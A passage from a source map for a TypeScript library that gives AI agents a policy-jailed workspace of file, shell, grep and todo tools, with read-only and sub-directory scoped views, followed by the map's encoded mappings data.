private readonly state: WorkspaceState;\n\n public constructor(\n policy: WorkspacePolicy,\n allowedTools: readonly WorkspaceToolName[] = ALL_TOOL_NAMES,\n state?: WorkspaceState,\n ) {\n this.policy = policy;\n this.allowedTools = new Set(allowedTools);\n this.state = state ?? { jobs: new ShellJobs(), todos: new TodoStore(), approvals: [] };\n this.resolvedShell = resolveShell(policy.shell);\n this.shell = { classify: (line) => classifyShellCommand(line, policy) };\n\n const backend = selectBackend(policy);\n this.ops = createOps(backend, policy, {\n jobs: this.state.jobs,\n approvals: this.state.approvals,\n });\n this.tools = this.buildTools();\n }\n\n /**\n * Assemble the agent-facing tool namespace. Each factory builds its\n * tool over the shared `ops`; `all()` returns every *allowed* tool in\n * canonical order and `pick(...)` returns the named subset (silently\n * dropping any name this projection does not allow, so a `readonly()`\n * workspace can never be coaxed into vending a mutating tool).\n */\n private buildTools(): WorkspaceTools {\n // Each `make*Tool` returns a precisely-typed\n // `ToolContract<SpecificInput, SpecificOutput>`, but the agent-facing\n // `WorkspaceTools` surface vends the type-erased `ToolContract`\n // (`ToolContract<unknown, unknown>`). Because `ToolContract` puts its\n // input in a contravariant position (`execute(input)` / `action(input)`),\n // a specific contract is not assignable to the erased one — so erase it\n // once, here, through `unknown`. The runtime object is identical; only\n // the static input type is widened for the shared surface.\n const erase = <TInput, TOutput>(contract: ToolContract<TInput, TOutput>): ToolContract =>\n contract as unknown as ToolContract;\n\n const shell = this.policy.shell;\n const background = shell?.background !== undefined;\n const resolvedShell = this.resolvedShell;\n\n const factories: Record<\n WorkspaceToolName,\n (opts?: { name?: string; command?: string }) => ToolContract\n > = {\n readFile: (opts) => erase(makeReadFileTool(this.ops, opts)),\n editFile: (opts) => erase(makeEditFileTool(this.ops, opts)),\n multiEdit: (opts) => erase(makeMultiEditTool(this.ops, opts)),\n applyPatch: (opts) => erase(makeApplyPatchTool(this.ops, opts)),\n writeFile: (opts) => erase(makeWriteFileTool(this.ops, opts)),\n listDir: (opts) => erase(makeListDirTool(this.ops, opts)),\n runShell: (opts) =>\n erase(\n makeRunShellTool(this.ops, {\n ...(opts?.name !== undefined ? { name: opts.name } : {}),\n ...(shell?.timeoutMs !== undefined ? { maxTimeoutMs: shell.timeoutMs } : {}),\n background,\n ...(resolvedShell.interpreter !== \"none\" ? { shellLabel: resolvedShell.label } : {}),\n shellDialect: resolvedShell.interpreter === \"none\" ? \"none\" : resolvedShell.dialect,\n }),\n ),\n shellOutput: (opts) => erase(makeShellOutputTool(this.ops, opts)),\n shellKill: (opts) => erase(makeShellKillTool(this.ops, opts)),\n runTests: (opts) =>\n erase(\n makeRunTestsTool(this.ops, {\n ...opts,\n interpreter: resolvedShell.interpreter,\n dialect: resolvedShell.dialect,\n }),\n ),\n grep: (opts) => erase(makeGrepTool(this.ops, opts)),\n glob: (opts) => erase(makeGlobTool(this.ops, opts)),\n todoWrite: (opts) => erase(makeTodoWriteTool(this.state.todos, opts)),\n todoRead: (opts) => erase(makeTodoReadTool(this.state.todos, opts)),\n };\n\n const build = (name: WorkspaceToolName, opts?: { name?: string; command?: string }) =>\n factories[name](opts);\n\n // `shell_output` / `shell_kill` only mean something when background\n // commands can be started, so `all()` leaves them out otherwise.\n const vendedByAll = (name: WorkspaceToolName): boolean =>\n this.allowedTools.has(name) && (background || !BACKGROUND_TOOL_NAMES.has(name));\n\n return {\n all: () => ALL_TOOL_NAMES.filter(vendedByAll).map((name) => build(name)),\n pick: (...names: WorkspaceToolName[]) =>\n names.filter((name) => this.allowedTools.has(name)).map((name) => build(name)),\n readFile: (opts) => build(\"readFile\", opts),\n editFile: (opts) => build(\"editFile\", opts),\n multiEdit: (opts) => build(\"multiEdit\", opts),\n applyPatch: (opts) => build(\"applyPatch\", opts),\n writeFile: (opts) => build(\"writeFile\", opts),\n listDir: (opts) => build(\"listDir\", opts),\n runShell: (opts) => build(\"runShell\", opts),\n shellOutput: (opts) => build(\"shellOutput\", opts),\n shellKill: (opts) => build(\"shellKill\", opts),\n runTests: (opts) => build(\"runTests\", opts),\n grep: (opts) => build(\"grep\", opts),\n glob: (opts) => build(\"glob\", opts),\n todoWrite: (opts) => build(\"todoWrite\", opts),\n todoRead: (opts) => build(\"todoRead\", opts),\n };\n }\n\n /**\n * Reject a mutating direct method on a read-only projection — surfaced\n * as a {@link WorkspacePolicyError} (the same typed error a denied\n * command produces) so a caller branches on `error.type`.\n */\n private assertWritable(operation: string): void {\n if (this.allowedTools.has(\"writeFile\")) {\n return;\n }\n\n throw new WorkspacePolicyError(\n `Operation \"${operation}\" is not permitted on a read-only workspace.`,\n { type: \"denied-command\", command: operation },\n );\n }\n\n public readFile(\n filePath: string,\n opts?: { offset?: number; limit?: number },\n ): Promise<ReadFileResult> {\n return this.ops.readFile(filePath, opts);\n }\n\n public async writeFile(\n filePath: string,\n content: string,\n ): Promise<{ hash: string; bytesWritten: number }> {\n this.assertWritable(\"writeFile\");\n\n return this.ops.writeFile(filePath, content);\n }\n\n public async editFile(input: EditFileInput): Promise<EditFileResult> {\n this.assertWritable(\"editFile\");\n\n return this.ops.editFile(input);\n }\n\n public async multiEdit(input: MultiEditInput): Promise<MultiEditResult> {\n this.assertWritable(\"multiEdit\");\n\n return this.ops.multiEdit(input);\n }\n\n public async applyPatch(input: ApplyPatchInput): Promise<ApplyPatchResult> {\n this.assertWritable(\"applyPatch\");\n\n return this.ops.applyPatch ? this.ops.applyPatch(input) : applyPatchWithOps(this.ops, input);\n }\n\n public listDir(dirPath?: string, opts?: ListDirOptions): Promise<ListDirResult> {\n return this.ops.listDir(dirPath, opts);\n }\n\n public async exec(command: string, opts?: ExecOptions): Promise<RunShellResult> {\n this.assertWritable(\"exec\");\n\n return this.ops.exec(command, opts);\n }\n\n public async startShell(command: string, opts?: StartShellOptions): Promise<ShellJobInfo> {\n this.assertWritable(\"startShell\");\n\n return this.ops.startShell(command, opts);\n }\n\n public shellOutput(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n return this.ops.shellOutput(id, opts);\n }\n\n public async shellKill(id: string): Promise<ShellJobInfo> {\n this.assertWritable(\"shellKill\");\n\n return this.ops.shellKill(id);\n }\n\n public listShells(): ShellJobInfo[] {\n return this.ops.listShells();\n }\n\n public readTodos(): TodoListResult {\n return this.state.todos.read();\n }\n\n public writeTodos(todos: WorkspaceTodoInput[]): TodoListResult {\n return this.state.todos.write(todos);\n }\n\n public dispose(): Promise<void> {\n return this.ops.dispose();\n }\n\n public grep(\n pattern: string,\n opts?: { glob?: string; ignoreCase?: boolean },\n ): Promise<GrepResult> {\n return this.ops.grep(pattern, opts);\n }\n\n public glob(pattern: string): Promise<string[]> {\n return this.ops.glob(pattern);\n }\n\n public exists(filePath: string): Promise<boolean> {\n return this.ops.exists(filePath);\n }\n\n public async mkdir(filePath: string): Promise<void> {\n this.assertWritable(\"mkdir\");\n\n return this.ops.mkdir(filePath);\n }\n\n public async remove(filePath: string): Promise<void> {\n this.assertWritable(\"remove\");\n\n return this.ops.remove(filePath);\n }\n\n /**\n * A read-only projection over the SAME policy — only the read / list /\n * grep / glob / todo tools are vended and every mutating direct method\n * rejects with a {@link WorkspacePolicyError}. A fresh ops/backend is\n * built from the identical policy, so the projection sees the same jailed\n * tree; it shares this workspace's background commands and todo list.\n */\n public readonly(): Workspace {\n return new WorkspaceImpl(\n this.policy,\n READONLY_TOOL_NAMES.filter((name) => this.allowedTools.has(name)),\n this.state,\n );\n }\n\n /**\n * A sub-jailed view rooted at `subdir` (relative to this workspace's\n * `cwd`). Returns a brand-new workspace whose policy is this policy\n * with `cwd` narrowed to `join(cwd, subdir)` — same backend selection,\n * same allow/deny/shell/read sub-policies, but a tighter jail root. It\n * shares this workspace's background commands and todo list.\n */\n public scope(subdir: string): Workspace {\n return new WorkspaceImpl(\n { ...this.policy, cwd: path.join(this.policy.cwd, subdir) },\n [...this.allowedTools],\n this.state,\n );\n }\n}\n\n/**\n * Build a {@link Workspace} — the integrator that wires a\n * {@link WorkspacePolicy} to a backend, the shared policy-enforced ops\n * layer, and the agent-facing tool factories.\n *\n * The backend is chosen from `policy.backend`: `\"mock\"` runs in memory\n * (hermetic tests); the `\"local\"` default (and any absent value) runs\n * over the real disk via `@warlock.js/fs` + `node:child_process`. The\n * returned workspace exposes:\n *\n * - **`tools.*`** — `readFile` / `editFile` / `multiEdit` / `writeFile` /\n * `listDir` / `runShell` / `shellOutput` / `shellKill` / `runTests` /\n * `grep` / `glob` / `todoWrite` / `todoRead`, plus `all()` (every tool)\n * and `pick(...)` (a least-privilege subset).\n * - **direct methods** — `readFile` / `writeFile` / `editFile` /\n * `multiEdit` / `listDir` / `exec` / `startShell` / `shellOutput` /\n * `shellKill` / `listShells` / `grep` / `glob` / `exists` / `mkdir` /\n * `remove` / `readTodos` / `writeTodos`, each delegating to the shared\n * ops layer, and `dispose()`.\n * - **`readonly()`** — a projection that vends only the read-side tools and\n * rejects every mutating direct method.\n * - **`scope(subdir)`** — a sub-jailed workspace rooted at `subdir`.\n *\n * Available at runtime as `ai.workspace(policy)` once this module is\n * imported (it registers the verb on the shared `ai` object).\n *\n * @param policy - The policy bounding the workspace (its `cwd` is the jail root).\n * @returns A fully-wired {@link Workspace}.\n *\n * @example\n * const ws = workspace({ cwd: \"/srv/acme-api\", shell: { allow: [\"npm\"], inheritEnv: [\"PATH\"] } });\n * const dev = ai.agent({ model, tools: ws.tools.all() });\n * await dev.execute(\"Make the failing cart-total suite green.\");\n *\n * @example\n * // Least-privilege reviewer — no write, no shell.\n * const reviewer = ai.agent({ model, tools: ws.readonly().tools.all() });\n */\nexport function workspace(policy: WorkspacePolicy): Workspace {\n return new WorkspaceImpl(policy);\n}\n\n/**\n * Attach the `workspace` verb to the `ai` namespace via module augmentation,\n * per the `ai.`-namespace convention. `@warlock.js/ai` now exposes a named `Ai`\n * interface for exactly this, so after a bare `import \"@warlock.js/ai-workspace\"`,\n * `ai.workspace(...)` is globally typed — no view/cast needed.\n */\ndeclare module \"@warlock.js/ai\" {\n interface Ai {\n /** Build a policy-jailed filesystem + shell {@link Workspace}. */\n workspace(policy: WorkspacePolicy): Workspace;\n }\n}\n\n// Runtime registration: attach `workspace` onto the shared `ai` object the\n// moment this package is imported (the augmentation above types it).\nai.workspace = workspace;\n"],"mappings":"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